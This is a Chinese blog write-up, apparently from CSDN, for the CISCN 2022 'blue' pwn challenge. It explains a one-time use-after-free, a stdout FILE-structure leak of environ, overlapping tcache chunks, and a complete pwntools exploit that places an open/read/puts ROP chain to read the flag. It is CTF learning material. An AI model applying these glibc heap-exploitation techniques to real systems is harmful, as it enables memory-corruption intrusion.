ciscn 2022 华东北分区赛pwn blue

ciscn 2022 华东北分区赛pwn blue

开了沙盒
在这里插入图片描述
最简单的解法还是借助environ来控制ret地址,然后将ret改成orw链即可。这一题的关键点在于怎么泄露出environ里面的栈地址,因为show功能只能使用一次。
在这里插入图片描述
这一题的漏洞点是一次性的uaf漏洞,在666功能下
在这里插入图片描述
我们首先先借助这一次性的uaf泄露出libc。还是填满tcache,只不过下一个进unsorted bin的时候利用666这个uaf功能。
接下来思考一下如何泄露出environ里面的值,show是一次性的已经用不了。仔细思考一下不难想出利用stdout来泄露,将flags标志改掉(绕过检查),再将write_base和write_ptr & write_end改成environ和environ + 8那里的地址是不是就可以泄露出environ的值了。
在这里插入图片描述
最关键的难点解决了,接下来就是申请到stdout那里,利用overlapping即可。将一个属于之前释放进tcache bin范围的chunk链入属于unsortedbin的chunk那里。因为uaf,所以再次释放unsortedbin的那个chunk,这样的话就可以形成堆块重叠可以控制到fd进行任意地址申请。
在这里插入图片描述
粉色是两具unsortedbin合并了,蓝色是从unsortedbin分割后的chunk,而蓝色里面的黄色是属于tcache bin的chunk,形成了上图的overlapping。(这里理解一下就行,说的有一点乱)
任意地址申请到stdout那里并泄露出stack,算出add的ret,然后再利用任意地址申请到ret,在ret这里放好布置好的orw链即可get flag,exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('192.168.166.139', 58012)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'Choice: '

def add(size, content):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Please input size: ', str(size))
    r.sendafter('Please input content: ', content)

def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Please input idx: ', str(index))

def show(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Please input idx: ', str(index))


for i in range(9):
    add(0x80, 'aaaa')

add(0x80, 'aaaa')

for i in range(7):
    delete(i)

r.sendlineafter(menu, '666')
r.sendlineafter('Please input idx: ', '8')
show(8)

show_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('show_addr = ' + hex(show_addr))

libc_base = show_addr - 0x1ecbe0
libc = ELF('./libc.so.6')
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
li('stdout = ' + hex(stdout))
environ = libc_base + libc.sym['environ']
li('environ = ' + hex(environ))

delete(7)
add(0x80, 'aaaa') #0
delete(8)

add(0x70, 'bbbb') #1
p1 = p64(0) + p64(0x91) + p64(stdout)
add(0x70, p1) # 2
add(0x80, 'cccc') # 3

p2 = p64(0xfbad1800) + p64(0) * 3 + p64(environ) + p64(environ + 8) * 2
add(0x80, p2)   #4

stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x128
li('stack_addr = ' + hex(stack_addr))

delete(3)
delete(2)

p3 = p64(0) + p64(0x91) + p64(stack_addr)
add(0x70, p3)#2
add(0x80, 'dddd') #3

read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
#pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
pop_rdi_ret = libc_base + 0x0000000000023b6a
#pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rsi_ret = libc_base +0x000000000002601f
#pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
pop_rdx_ret = 0x0000000000142c92 + libc_base

flag_addr = stack_addr
ppp = stack_addr + 0x200

p4 = b'./flag\x00\x00'

# open('./flag', 0)
p4 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)

# read(3, ppp, 0x50)
p4 += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(ppp) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)

# puts(ppp)
puts_addr = libc_base + libc.sym['puts']
p4 += p64(pop_rdi_ret) + p64(ppp) + p64(puts_addr)
add(0x80, p4)

r.interactive()

这一题肯定不止这一种方法,也可以攻击_rtld_global 这个结构体,将stdout里面的vtable劫持一下,orw链放到该放的地方,然后触发即可。比借助environ这个方法麻烦一点,笔者这一题就不再深挖了(glibc这种pwn笔者不想陷得太深,看到有意思的题目学习一下就行了)

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值